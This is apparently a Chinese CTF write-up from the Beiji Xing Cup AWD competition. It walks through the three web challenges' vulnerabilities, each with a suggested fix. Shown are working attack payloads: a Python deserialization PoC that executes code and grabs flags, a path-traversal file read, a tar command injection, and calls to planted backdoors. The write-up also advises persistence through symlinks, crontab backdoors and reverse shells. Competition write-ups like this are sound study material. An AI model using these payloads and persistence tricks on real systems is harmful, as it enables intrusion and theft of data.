awd的批量脚本 pwn_北极星杯AWD-Writeup

原创

weixin_39966909 于 2020-12-20 17:40:00 发布 163 收藏 1
文章标签： awd的批量脚本 pwn

前言

祝祖国70周年生日快乐,也祝星盟一周年生日快乐.感谢各位师傅在国庆假期抽出时间参加这次比赛,也感谢负责组织比赛的师傅忙前忙后.

我是M09ic,负责本次北极星杯AWD的赛后分享.靠着抱大腿以及足够的运气,很荣幸获得了第二名.感谢小远师傅,sayhi师傅,以及Alkaid师傅

大哥大嫂国庆好!!!

先贴上web题目源码:

因为是先上的waf再做的备份,所以看到waf相关的东西师傅们可以无视...

web1

冰蝎后门

在/pma路径下有个binxie2.0.1.php,密码是pass.

但是因为冰蝎马有个交换aes秘钥,并且流量都通过aes加密,之前没写过冰蝎的批量脚本.并且木马设置的太明显,大部分队伍很快就能发现.因此,除了最开始手动提交了几个,这个后门我们并没有用上.

实际上,到了比赛中后期,还有四五支队伍没有清理这个后门.

修复方案:

删除后门

登录处sql注入

可用万能密码直接登录,也可以直接使用sqlmap.

sqlhelper.php目录下可以看到配置文件,

private static $host="127.0.0.1";

private static $user="root";

private static $pwd="root";

private static $db="mail";

数据库dba是root权限,有可能被利用来提权或读文件.

因为找到了更容易利用的点,忘了这个sql注入,所以并没有用上这个点.

修复方案:

转义或过滤单引号

反序列化

位于sqlhelper.php文件

```
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
}
```

poc如下:

```
import requests,re
#url = "http://39.100.119.37:1%s80/sqlhelper.php?x=system('cat+/flag');"
def poc(url):
data = {"un":'O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}'}
flag = requests.post(url,data=data).text
flag = re.compile('flag{.+?}').findall(flag)[0]
return flag
```

get请求:

虽然我们很早就发现了这个点,但是没有在第一时间写出payload,靠着不知道拿队大佬打过来的流量,实现的反打.

修复方案:

删除unserialize($_POST['un']);即可

web1我们队只发现了上诉漏洞,流量记录中也没有其他可疑记录,如果师傅们有其他漏洞,欢迎交流

web2

eval后门

在.\login\index.php文件57行存在eval后门

靠着手速抢先留其他后门,制作软连接后门,ln -s /flag /var/www/html/.config.php,不少队一直没发现,利用到了最后.

修复方案:

删除即可.

任意文件读取

漏洞位于img.php

$file = $_GET['img'];

$img = file_get_contents('images/icon/'.$file);

//使用图片头输出浏览器

header("Content-Type: image/jpeg;text/html; charset=utf-8");

echo $img;

exit;

可以看到file_get_contents函数没有任何过滤,用requests或burpsuite发包读取flag.

payload:http://39.100.119.37:2%s80/img.php?img=../../../../../flag

web2只发现了这两个漏洞,不过可以肯定存在其他漏洞,在比赛中后期,我们被频繁拿分,但后面有些手忙脚乱没有仔细翻流量.没有实现反打.

web3

命令注入

位于export.php

if (isset($_POST['name'])){

$name = $_POST['name'];

exec("tar -cf backup/$name images/*.jpg");

echo "

导出成功,点击下载

";
}

?>

没有任何过滤,$name参数可控,导致命令注入.

payload: post name参数提交:1.tar /fla*;

然后访问site.com/backup/1.tar

因为有其他队师傅在批量跑.因此我们就干脆搭顺风车,下载1.tar提交一下.

修复方案:

把name参数写死.

extract后门

位于\include\config.php与\app\includes\config.php两处,一模一样的后门

```
echo 'hello world';
extract($_REQUEST);
@$d($_POST[c]);
?>
```

payload: post提交d=assert&c=phpinfo()

修复方案:

删除这两个文件.

web3应该也还有其他漏洞,很可惜没有审计出来.

总结

总得来说,这次比赛漏洞设置的都比较明显,大部分通过d盾都可以扫出来,流量特征也很明显.

流量审计在题目难度不高的AWD比赛中效果非常显著.能够快速将抓到的payload转化为自动脚本反击,也可以抓不死马的密码搭乘顺风车.

至于其他权限维持的方法,比如软链接,crontab后门,反弹shell,sh后门.尽量把能用的方法都用上.

如果比赛题目的难度不是特别高,通常可以用d盾扫几个主办方预留的后门,只要手速够快,就可以再其他队伍删除后门之前留下各种后门,可以稳住前期优势,这次比赛我们队就在前期通过主办方后门稳居前三.

中后期,自动化脚本在批量利用web123以及pwn2.只可惜权限维持没做好,最后时刻被反超了.

最后膜一下腹黑师傅的W&M,最后几轮直接火箭升天,从落后四五百分到领先将近2000分,太强了,强到让我一度怀疑日穿了平台.

也要膜一下小远师傅的黑科技,

在比赛前准备一个自动备份,上waf,恢复网站的脚本是很有必要的.

也需要一个提交flag,自动化攻击的框架. 推荐一下王一航师傅的 ReverseShellManager,根据自己需求修改后使用,效果还不错.